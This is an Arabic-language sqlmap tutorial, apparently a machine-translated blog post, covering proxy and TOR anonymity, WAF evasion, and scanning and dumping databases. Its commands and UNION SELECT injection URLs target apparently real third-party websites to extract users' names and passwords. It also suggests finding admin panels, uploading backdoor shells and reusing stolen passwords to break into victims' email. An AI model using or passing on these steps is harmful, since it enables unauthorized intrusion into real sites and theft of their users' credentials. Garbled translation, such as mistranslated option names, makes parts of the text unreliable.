  2. خريطة SQL والخادم الوكيل:عادةً ما يتم تأمين أنواع الشبكات الخاصة بالمؤسسات والتحكم فيها باستخدام خوادم بروكسي يتم التحكم فيها لجميع أنواع الشبكات الواردة أو حركة المرور الصادرة. في مثل هذه الحالات، لديك خيار إضافة خيار وكيل مباشرة إلى خيار SQLMap للتواصل مع عنوان URL الهدف. على الرغم من أن SQLMap عبارة عن أداة سطر أوامر، إلا أنها تتواصل عبر بروتوكول HTTP، وبالتالي إذا قمت بتعيين وكيل HTTP لاتصال الإنترنت المقابل، فإن SQLMap سيأخذه كأساس له:
$ ./sqlmap.py --proxy=http:// :
  1. خريطة SQL وواف (ويب طلب جدار الحماية ): WAF عبارة عن طبقة إضافية من الحماية لتطبيقات الويب، مما يؤدي إلى تعقيد التحليل والتشغيل بشكل كبير باستخدام الطرق القياسية المتوفرة في SQLMap. لهذا الغرض، هناك وظيفة "التلاعب بالنص"، والتي تعمل على تبسيط العمل مع تطبيقات الويب الموجودة خلف WAF إلى حد كبير.
  2. خريطة SQL وعدم الكشف عن هويته:إذا كنت تريد إخفاء هويتك والظهور كمجهول أمام التطبيق المستهدف، فيمكنك استخدام الخادم الوكيل TOR (The Onion Router). في SQLMap، يمكنك تكوين وكيل TOR لإخفاء المصدر الذي يتم إنشاء حركة المرور أو الطلب منه باستخدام المفاتيح التالية:
    • تور تحويل الأداة المساعدة إلى وضع وكيل TOR.
    • تور يكتب التكوين اليدوي لبروتوكول وكيل TOR (HTTP /SOCKS 4/4a /5).
    • يفحص تور التحقق من وظيفة وكيل TOR

ما هو sqlmap وما هو الغرض منه؟

يتيح لك البرنامج فحص المواقع بحثًا عن نقاط الضعف في حقن SQL، ثغرات XSSوكذلك استغلال حقن SQL. يتم دعم أنواع مختلفة من حقن SQL ومجموعة متنوعة من قواعد البيانات.

ماذا يمكنك أن تفعل مع sqlmap

مع باستخدام SQLالخريطة يمكنك:

  • التحقق مما إذا كانت مواقع الويب بها نقاط ضعف

إذا كان الموقع عرضة لحقن SQL، فمن الممكن:

  • تلقي المعلومات من قاعدة البيانات، بما في ذلك قاعدة البيانات التفريغية (كاملة).
  • تعديل وحذف المعلومات من قاعدة البيانات
  • تحميل Shell (الباب الخلفي) إلى خادم الويب

أحد السيناريوهات لاستخدام sqlmap:

  • الحصول على اسم المستخدم وكلمة المرور من قاعدة البيانات
  • البحث عن لوحات إدارة الموقع (لوحة الإدارة)
  • قم بتسجيل الدخول إلى لوحة الإدارة باستخدام معلومات تسجيل الدخول وكلمة المرور المستلمة

إذا كانت هناك ثغرة أمنية، فيمكن أن يتطور الهجوم في اتجاهات مختلفة:

  • تعديل البيانات
  • ملء الباب الخلفي
  • تطبيق كود جافا سكريبتللحصول على بيانات المستخدم
  • تنفيذ التعليمات البرمجية للتثبيت على BeEF

كما نرى، يعد حقن SQL بمثابة ثغرة أمنية خطيرة جدًا تمنح المهاجم فرصًا كبيرة.

فحص المواقع باستخدام sqlmap

إذا تلقى الموقع بيانات من المستخدم باستخدام طريقة GET (عندما يكون اسم المتغير والبيانات المرسلة مرئيين في شريط العناوينالمتصفح)، فأنت بحاجة إلى تحديد عنوان الصفحة التي يوجد بها هذا المتغير. وتأتي بعد علامة الاستفهام ( ? )، على سبيل المثال:

  • http://www.dwib.org/faq2.php?id=8
  • http://www.wellerpools.com/news-read.php?id=22
  • http://newsandviews24.com/read.php?id=p_36

في العنوان الأول، اسم المتغير هو بطاقة تعريف، والقيمة التي تم تمريرها هي 8 . في العنوان الثاني اسم المتغير هو أيضا بطاقة تعريف، والقيمة المنقولة 22 . في المثال الثالث، اسم المتغير هو نفسه، ولكن القيمة التي يتم تمريرها هي نفسها ص_36. نفس الاسمالمتغير عبارة عن تطابق عشوائي لمواقع مختلفة، يمكن أن يكون أي شيء، يمكن أن تكون البيانات المرسلة أي شيء، يمكن أن يكون هناك عدة متغيرات بقيم مفصولة برمز & .

إذا أردنا التحقق مما إذا كان متغير المعرف عرضة لحقن SQL، فسنحتاج إلى إدخال العنوان بالكامل - http://www.dwib.org/faq2.php?id=8 (وليس http://www.dwib) .org /faq2.php أو http://www.dwib.org).

أمر التحقق من المتغير الذي تم تمريره بواسطة طريقة GET بسيط للغاية:

Sqlmap -u site_address

لهذه المواقع الأوامر ستكون:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 sqlmap -u http://www.wellerpools.com/news-read.php?id=22 sqlmap -u http://newsandviews24 .com/read.php?id=p_36

أثناء عملية التحقق، قد يطرح sqlmap أسئلة مختلفة وتحتاج إلى الإجابة عليها ذ(أي: نعم) أو ن(أي لا). يمكن أن يكون الحرف y و n كبيرًا أو صغيرًا. الحرف الكبير يعني الاختيار الافتراضي، إذا كنت توافق عليه، فما عليك سوى الضغط على Enter.

أمثلة على المواقف والأسئلة:

اكتشفت الاستدلالات أن الهدف محمي بواسطة نوع ما من WAF/IPS/IDS، هل تريد أن يحاول sqlmap اكتشاف الواجهة الخلفية WAF/IPS/IDS؟

حددت الاستدلالات أن الهدف محمي بواسطة نوع ما من WAF/IPS/IDS. هل تريد أن يحاول sqlmap تحديد اسم WAF/IPS/IDS؟

طلبي المفضل:

يُظهر الاختبار الإرشادي (الأساسي) أن معلمة GET "معرف" قد تكون قابلة للحقن (نظام إدارة قواعد البيانات المحتمل: "MySQL") لاختبار حقن SQL على معلمة GET "معرف" يبدو أن نظام إدارة قواعد البيانات الخلفي هو "MySQL". هل تريد تخطي حمولات الاختبار الخاصة بأنظمة إدارة قواعد البيانات الأخرى؟

النقطة المهمة هي أن الاستدلال قد حدد أن المعلمة قد تكون عرضة للخطر وقد تم بالفعل تحديد نظام إدارة قواعد البيانات عن بعد، ويتم سؤالنا عما إذا كنا نريد مواصلة التحقق. وفي لقطة الشاشة الثانية، يكون الموقع أيضًا عرضة لـ XSS.

إذا كنت تريد أتمتة العملية بحيث لا يطلب منك sqlmap كل مرة، ولكن استخدم التحديد الافتراضي (هناك دائمًا أفضل الخيارات)، ثم يمكنك تشغيل الأمر مع الخيار --حزمة:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --batch

المشاكل المحتملة عند مسح sqlmap

قد تظهر الأخطاء التالية:

انتهت مهلة الاتصال بعنوان URL الهدف. سيقوم sqlmap بإعادة محاولة الطلب (الطلبات) إذا استمرت المشكلة، فيرجى التحقق من صحة عنوان URL المستهدف المقدم. في حالة حدوث ذلك، يمكنك محاولة إعادة التشغيل مع تشغيل المفتاح "--random-agent" و/أو مفاتيح الوكيل ("--ignore-proxy"، "--proxy"،...)

وهذا يعني أن موقع الويب لا يريد "التحدث" مع sqlmap. كخيار عرضنا للاستخدام --عامل عشوائي. إذا كان بإمكانك مشاهدة الموقع في المتصفح، ولكن sqlmap يكتب عن استحالة الاتصال، فإن الموقع يتجاهل الطلبات، مع التركيز على وكيل المستخدم. يقوم خيار --random-agent بتغيير قيمة sqlmap القياسية إلى عشوائي:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent

قد يكون السبب الآخر لهذا الخطأ هو أن عنوان IP الخاص بك محظور بواسطة موقع ويب - فأنت بحاجة إلى استخدام وكيل. إذا كنت تستخدم وكيلاً بالفعل وظهر هذا الخطأ، فقد يعني ذلك أن الوكيل يعاني من مشكلات في الاتصال ويجب عليك المحاولة بدونه.

نتائج مسح sqlmap

يتم عرض حقن SQL المكتشفة على النحو التالي:

أولئك. يتم تمييزها باللون الأخضر الغامق، ويتم كتابة اسم المعلمة الضعيفة، ونوع ثغرة SQL وهناك الكلمة قابل للحقن.

الحصول على قائمة قواعد البيانات باستخدام sqlmap

للحصول على قائمة قواعد البيانات، استخدم الخيار --dbs. أمثلة:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --dbs sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent --dbs sqlmap -u http://newsandviews24.com/read.php?id=p_36 --dbs

استرجاع المعلومات من قواعد البيانات

على سبيل المثال، تم العثور على قاعدتي بيانات لموقع wellerpools.com:

[*] مخطط معلومات [*] main_wellerpools

أريد أن أعرف قائمة الجداول في قاعدة البيانات main_wellerpools. للقيام بذلك، استخدم الخيار --tables. بالإضافة إلى ذلك، نحتاج إلى الإشارة إلى الجدول الذي يهمنا بعد الخيار :

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools --tables

قائمة الجداول:

لسبب ما، أريد أن أعرف قائمة الأعمدة من جدول المستخدمين. للقيام بذلك، استخدم الخيار --أعمدة. بالإضافة إلى ذلك، نحتاج إلى الإشارة إلى قاعدة البيانات التي نهتم بها ( -D main_wellerpools) وبعد المفتاح الجدول الذي نريد أن نرى قائمة الأعمدة الخاصة به:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T users --columns

لعرض المحتوى، استخدم الخيار --أحمق. يمكن تحديده مع قاعدة البيانات، ثم سيتم إجراء تفريغ لقاعدة البيانات بأكملها، أو يمكنك قصر البيانات على جدول واحد أو حتى عمود واحد. باستخدام الأمر التالي أريد رؤية محتويات جدول المستخدمين بالكامل:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T users --dump

ألق نظرة على كلمات المرور - عند الفحص السريع، اعتقدت أنها تجزئات. لقد حاول المشرفون حقًا الدفاع عن أنفسهم، لكن ذلك لم يساعدهم.

بالمناسبة، نظرًا لأن المعلمة التي تقبل البيانات المرسلة بواسطة طريقة GET معرضة للخطر، يمكنك تشكيل طلب مباشرة في سطر المتصفح بحيث يتم عرض تسجيل الدخول وكلمة المرور للمستخدم مباشرة على الموقع نفسه:

  • http://www.wellerpools.com/news-read.php?id=-22+union+select+1,group_concat(user_name,0x3a,user_pwd),3,4,5,6,7,8,9, 10+من+مستخدمين--
  • http://www.wellerpools.com/news-read.php?id=-22+UNION+SELECT+1,group_concat(user_id,0x3e,user_name,0x3e,user_pwd),3,4,5,6,7, 8,9,10+من+المستخدمين--

أولئك. لدينا اسم المستخدم وكلمة المرور والبريد الإلكتروني للمستخدمين (وعلى الأرجح للمسؤولين) للموقع. إذا كنت تستطيع أن تجد لوحة إداريةالموقع، ثم يمكنك التحكم في الموقع أو خادم الويب. مراعاة حب المستخدمين لنفس كلمات المرور ومعرفتها صناديق البريد- يمكنك محاولة اختراق بريدك.

بشكل عام، يعد حقن SQL ثغرة أمنية خطيرة للغاية.